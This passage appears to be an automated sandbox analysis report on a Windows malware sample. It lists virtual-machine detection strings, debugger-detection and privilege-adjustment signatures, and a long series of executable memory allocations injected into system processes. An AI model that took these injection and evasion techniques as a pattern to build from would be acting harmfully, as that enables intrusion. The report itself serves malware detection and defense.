Source: SearchApp.exe, 0000001C.00000003.1594523625.000001F4B4640000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489983652.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|hyper-v manager*|hyperv4178
Source: SearchApp.exe, 0000001C.00000003.1594523625.000001F4B4640000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489983652.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|hyper-v manager*|virtual5441
Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SVGA II
Source: dwm.exe, 00000008.00000000.1282999485.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Bus\0000SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000PCI\VEN_8
Source: explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: War&Prod_VMware_xU1
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware.Workstation.vmplayer8211
Source: SearchApp.exe, 0000001C.00000003.1466362666.000001F4B3B02000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware.View.Client12451
Source: svchost.exe, 0000000C.00000000.1330888653.0000018CE728E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1451350516.000001EC94D72000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe8601
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware Workstation\vmnetcfg.exe12004
Source: SearchApp.exe, 0000001C.00000000.1565581389.000001F4AEDB0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: yexcelneroonenotelyncvmware:wux:itunesvisio&#xEF87binPT.vssxx86amd64objdFEHobjLRA.psd.dwg.ai
Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|vmware vsphere client*|vspe6388
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWP
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: AirWatchLLC.VMwareWorkspaceONE_htcwkw4rx2gx4!App11496
Source: explorer.exe, 00000010.00000003.3076107312.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\machine.inf_loc5
Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|vmware horizon client*|vdi3894
Source: SearchApp.exe, 0000001C.00000003.1594523625.000001F4B4640000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489983652.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|hyper-v manager*|hyper v4919
Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|chrome655*|google play music*|google music3025*|heroes of the storm*|heros4494*|hourly analysis program 4.91*|hap1*|hourly analysis program 4.90*|hap375*|hourly analysis program 5.10*|hap1*|herramienta recortes*|sni2296*|hp scan and capture*|hpscan6530*|hp support assistant*|hp ass4184*|hp support assistant*|hps5179*|hpe unified functional testing*|uft1*|google chrome*|google.com6973*|hearts of iron iv man the guns*|hoi42522*|groove music*|music library8480*|hyper-v manager*|virtual5441*|groove music*|play music6857*|hourly analysis program 4.80*|hap1*|gotomeeting*|go to meeting7076*|hpe records manager*|trim1399*|idle (python 3.7 32-bit)*|idel6028*|internet download manager*|idmm8541*|ibm integration toolkit 10.0.0.13*|iib1*|import passwords*|lastpass1242*|internet explorer*|interenet explorer12754*|ibm integration toolkit 10.0.0.12*|iib1*|income tax planner workstation*|bna1*|internet download manager*|idman7834*|internet download manager*|id,7596*|image composite editor*|ice852*|ibm integration toolkit 10.0.0.7*|iib403*|internet download manager*|ine9116*|internet download manager*|idn6970*|internet download manager*|
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware vCenter Converter Standalone\converter.exe12207
Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|vmware horizon client*|view5503
Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
Source: explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMWare
Source: explorer.exe, 00000010.00000003.2277407283.0000000009052000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000'
Source: SearchApp.exe, 0000001C.00000000.1512906985.000001F49D9E6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: s://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w0@
Source: SearchApp.exe, 0000001C.00000000.1451425126.000001EC94DA0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@
Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|vmware vsphere client*|vcenter5038
Source: explorer.exe, 00000010.00000002.3744492980.0000000000C74000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\a4#Uff09.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_004804B1 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_004804B1
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_00BD3044 mov eax, dword ptr fs:[00000030h] 0_2_00BD3044
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029DCC92 OpenProcess,GetLastError,GetVersionExA,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,OpenProcess,AdjustTokenPrivileges,CloseHandle,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,LookupAccountSidA,lstrcmpiA,lstrcmpiA,lstrcmpiA,CreateMutexA,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,VirtualAllocEx,lstrlen,WriteProcessMemory,CreateRemoteThread,FindCloseChangeNotification,CloseHandle,GetProcessHeap,HeapFree, 0_2_029DCC92
Enables debug privileges
Source: C:\Users\user\Desktop\a4#Uff09.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 9D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: AD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: 10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 3B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 980000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: AB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: B190000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: BD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 8C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: ED0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 950000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 100000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 120000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 290000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SysWOW64\cscript.exe base: 25D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SysWOW64\cscript.exe base: 25E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: AB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: 9F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1610000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1620000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1640000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 460000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 470000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2590000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 25E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2EC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 3010000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2840000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2850000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: CF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1430000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1190000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1230000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 21C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2310000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 520000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 830000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2430000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2440000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1580000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1360000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 13B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1570000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 8F0000 protect: page execute and read and write Jump to behavior
